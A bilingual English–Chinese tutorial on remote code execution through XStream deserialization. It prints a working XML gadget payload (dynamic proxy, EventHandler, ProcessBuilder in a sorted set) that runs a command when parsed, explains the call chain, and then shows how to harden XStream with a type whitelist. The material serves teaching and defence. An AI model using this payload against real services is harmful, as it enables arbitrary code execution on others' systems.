Remote Code Execution with XStream – 用XStream进行远程代码执行

最后修改: 2019年 7月 13日

中文/混合/英文(键盘快捷键:t)

1. Overview

1.概述

In this tutorial, we’ll dissect a Remote Code Execution attack against the XStream XML serialization library. This exploit falls into the untrusted deserialization category of attacks.

在本教程中,我们将剖析针对XStream XML序列化库的远程代码执行攻击。这个攻击属于不受信任的反序列化类攻击。

We’ll learn when XStream is vulnerable to this attack, how the attack works, and how to prevent such attacks.

我们将了解什么时候XStream容易受到这种攻击,这种攻击是如何工作的,以及如何防止这种攻击。

2. XStream Basics

2.XStream基础知识

Before describing the attack, let’s review some XStream basics. XStream is an XML serialization library that translates between Java types and XML. Consider a simple Person class:

在描述攻击之前,让我们回顾一下XStream的一些基础知识。XStream是一个XML序列化库,在Java类型和XML之间进行转换。考虑一个简单的Person类。

public class Person {
    private String first;
    private String last;

    // standard getters and setters
}

Let’s see how XStream can write some Person instance to XML:

让我们看看XStream是如何将一些Person实例写入XML的

XStream xstream = new XStream();
String xml = xstream.toXML(person);

Likewise, XStream can read XML into an instance of Person:

同样,XStream可以将XML读入Person的实例。

XStream xstream = new XStream();
xstream.alias("person", Person.class);
String xml = "<person><first>John</first><last>Smith</last></person>";
Person person = (Person) xstream.fromXML(xml);

In both cases, XStream uses Java reflection to translate the Person type to and from XML. The attack takes place during reading XML. When reading XML, XStream instantiates Java classes using reflection.

在这两种情况下,XStream使用Java反射来将Person类型翻译成XML,并从XML中翻译出来。攻击发生在读取 XML 时。在读取 XML 时,XStream 使用反射来实例化 Java 类。

The classes XStream instantiates are determined by the names of the XML elements it parses.

XStream实例化的类是由它解析的XML元素的名称决定的。

Because we configured XStream to be aware of the Person type, XStream instantiates a new Person when it parses XML elements named “person”.

因为我们将XStream配置为知道Person类型,XStream在解析名为 “person “的XML元素时,会实例化一个新的Person

In addition to user-defined types like Person, XStream recognizes core Java types out of the box. For example, XStream can read a Map from XML:

除了用户定义的类型(如Person),XStream还能识别开箱即用的核心Java类型。例如,XStream可以从XML中读取一个Map

String xml = "" 
    + "<map>" 
    + "  <element>" 
    + "    <string>foo</string>" 
    + "    <int>10</int>" 
    + "  </element>" 
    + "</map>";
XStream xStream = new XStream();
Map<String, Integer> map = (Map<String, Integer>) xStream.fromXML(xml);

We’ll see how XStream’s ability to read XML representing core Java types will be helpful in the remote code execution exploit.

我们将看到XStream读取代表核心Java类型的XML的能力在远程代码执行漏洞中会有什么帮助。

3. How the Attack Works

3.攻击是如何进行的

Remote code execution attacks occur when attackers provide input which is ultimately interpreted as code. In this case, attackers exploit XStream’s deserialization strategy by providing attack code as XML.

当攻击者提供最终被解释为代码的输入时,就会发生远程代码执行攻击。在这种情况下,攻击者利用XStream的反序列化策略,将攻击代码作为XML提供。

With the right composition of classes, XStream ultimately runs the attack code through Java reflection.

有了正确的类组成,XStream最终通过Java反射运行攻击代码。

Let’s build an example attack.

让我们建立一个攻击实例。

3.1. Include Attack Code in a ProcessBuilder

3.1.在ProcessBuilder中包含攻击代码

Our attack aims to start a new desktop calculator process. On macOS, this is “/Applications/Calculator.app”. On Windows, this is “calc.exe”. To do so, we’ll trick XStream into running a new process using a ProcessBuilder. Recall the Java code to start a new process:

我们的攻击旨在启动一个新的桌面计算器进程。在macOS上,它是”/Applications/Calculator.app”。在Windows上,它是 “calc.exe”。要做到这一点,我们将使用ProcessBuilder欺骗XStream运行一个新进程。回顾一下Java代码来启动一个新的进程

new ProcessBuilder().command("executable-name-here").start();

When reading XML, XStream only invokes constructors and sets fields. Therefore, the attacker does not have a straightforward way to invoke the ProcessBuilder.start() method.

在读取XML时,XStream只调用构造函数和设置字段。因此,攻击者没有直接的方法来调用ProcessBuilder.start()方法。

However, clever attackers can use the right composition of classes to ultimately execute the ProcessBuilder‘s start() method.

然而,聪明的攻击者可以利用正确的类的组合来最终执行ProcessBuilderstart()方法。

Security researcher Dinis Cruz shows us in their blog post how they use the Comparable interface to invoke the attack code in the copy constructor of the sorted collection TreeSet. We’ll summarize the approach here.

安全研究员Dinis Cruz在他们的博文中向我们展示了他们如何使用Comparable接口在排序集合TreeSet.的复制构造函数中调用攻击代码。我们将在此总结一下该方法。

3.2. Create a Comparable Dynamic Proxy

3.2.创建一个可比较的动态代理

Recall that the attacker needs to create a ProcessBuilder and invoke its start() method. In order to do so, we’ll create an instance of Comparable whose compare method invokes the ProcessBuilder‘s start() method.

回顾一下,攻击者需要创建一个ProcessBuilder并调用其start()方法。为了做到这一点,我们将创建一个Comparable的实例,其compare方法调用ProcessBuilderstart()方法。

Fortunately, Java Dynamic Proxies allow us to create an instance of Comparable dynamically.

幸运的是,Java动态代理允许我们动态地创建Comparable的实例

Furthermore, Java’s EventHandler class provides the attacker with a configurable InvocationHandler implementation. The attacker configures the EventHandler to invoke the ProcessBuilder‘s start() method.

此外,Java的EventHandler类为攻击者提供了一个可配置的InvocationHandler实现。攻击者配置了EventHandler来调用ProcessBuilderstart()方法。

Putting these components together, we have an XStream XML representation for the Comparable proxy:

把这些组件放在一起,我们就有了Comparable代理的XStream XML表示。

<dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
            <command>
                <string>open</string>
                <string>/Applications/Calculator.app</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</dynamic-proxy>

3.3. Force a Comparison Using the Comparable Dynamic Proxy

3.3.使用Comparable动态代理强制进行比较

To force a comparison with our Comparable proxy, we’ll build a sorted collection. Let’s build a TreeSet collection that compares two Comparable instances: a String and our proxy.

为了强制与我们的Comparable代理进行比较,我们将建立一个排序的集合。让我们建立一个TreeSet集合,对两个Comparable实例进行比较:一个String和我们的代理。

We’ll use TreeSet‘s copy constructor to build this collection. Finally, we have the XStream XML representation for a new TreeSet containing our proxy and a String:

我们将使用TreeSet的复制构造函数来建立这个集合。最后,我们有一个新的TreeSet的XStream XML表示,其中包含我们的代理和一个String

<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>open</string>
                    <string>/Applications/Calculator.app</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

Ultimately, the attack occurs when XStream reads this XML. While the developer expects XStream to read a Person, it instead executes the attack:

最终,攻击发生在XStream读取这个XML的时候。虽然开发者期望XStream读取一个Person,但它却执行了攻击。

String sortedSortAttack = // XML from above
XStream xstream = new XStream();
Person person = (Person) xstream.fromXML(sortedSortAttack);

3.4. Attack Summary

3.4.攻击总结

Let’s summarize the reflective calls that XStream makes when it deserializes this XML

让我们总结一下XStream在反序列化这个XML时进行的反射性调用

  1. XStream invokes the TreeSet copy constructor with a Collection containing a String “foo” and our Comparable proxy.
  2. The TreeSet constructor calls our Comparable proxy’s compareTo method in order to determine the order of the items in the sorted set.
  3. Our Comparable dynamic proxy delegates all method calls to the EventHandler.
  4. The EventHandler is configured to invoke the start() method of the ProcessBuilder it composes.
  5. The ProcessBuilder forks a new process running the command the attacker wishes to execute.

4. When Is XStream Vulnerable?

4.什么时候XStream是脆弱的?

XStream can be vulnerable to this remote code execution attack when the attacker controls the XML it reads.

当攻击者控制其读取的XML时,XStream可能会受到这种远程代码执行攻击。

For instance, consider a REST API that accepts XML input. If this REST API uses XStream to read XML request bodies, then it may be vulnerable to a remote code execution attack because attackers control the content of the XML sent to the API.

例如,考虑一个接受XML输入的REST API。如果这个REST API使用XStream来读取XML请求体,那么它可能容易受到远程代码执行攻击,因为攻击者控制了发送到API的XML的内容。

On the other hand, an application that only uses XStream to read trusted XML has a much smaller attack surface.

另一方面,一个只使用XStream来读取受信任的XML的应用程序的攻击面要小得多。

For example, consider an application that only uses XStream to read XML configuration files set by an application administrator. This application is not exposed to XStream remote code execution because attackers are not in control of the XML the application reads (the admin is).

例如,考虑一个只使用XStream来读取由应用程序管理员设置的XML配置文件的应用程序。这个应用程序没有暴露在XStream远程代码执行中,因为攻击者没有控制应用程序读取的XML(管理员是)。

5. Hardening XStream Against Remote Code Execution Attacks

5.对抗远程代码执行攻击的XStream加固措施

Fortunately, XStream introduced a security framework in version 1.4.7. We can use the security framework to harden our example against remote code execution attacks. The security framework allows us to configure XStream with a whitelist of types it is allowed to instantiate.

幸运的是,XStream在1.4.7版本中引入了安全框架。我们可以使用安全框架来加强我们的例子,以防止远程代码执行攻击。安全框架允许我们用一个允许实例化的类型白名单来配置 XStream。

This list will only include basic types and our Person class:

这个列表将只包括基本类型和我们的Person类。

XStream xstream = new XStream();
xstream.addPermission(NoTypePermission.NONE);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
xstream.allowTypes(new Class<?>[] { Person.class });

Additionally, XStream users may consider hardening their systems using a Runtime Application Self-Protection (RASP) agent. RASP agents use bytecode instrumentation at run time to automatically detect and block attacks. This technique is less error-prone than manually building a whitelist of types.

此外,XStream 用户可以考虑使用运行时应用程序自我保护(RASP)代理来加固其系统。RASP 代理在运行时使用bytecode instrumentation来自动检测和阻止攻击。这种技术比手动构建类型白名单的错误率要低。

6. Conclusion

6.结语

In this article, we learned how to perform a remote code execution attack on an application that uses XStream to read XML. Because attacks like this exist, XStream must be hardened when it is used to read XML from untrusted sources.

在这篇文章中,我们学习了如何对一个使用XStream来读取XML的应用程序进行远程代码执行攻击。因为存在这样的攻击,所以当XStream被用来从不可信任的来源读取XML时,必须对它进行加固。

The exploit exists because XStream uses reflection to instantiate Java classes identified by the attacker’s XML.

该漏洞的存在是因为XStream使用反射来实例化由攻击者的XML确定的Java类。

As always, the code for the examples can be found over on GitHub.

一如既往,这些例子的代码可以在GitHub上找到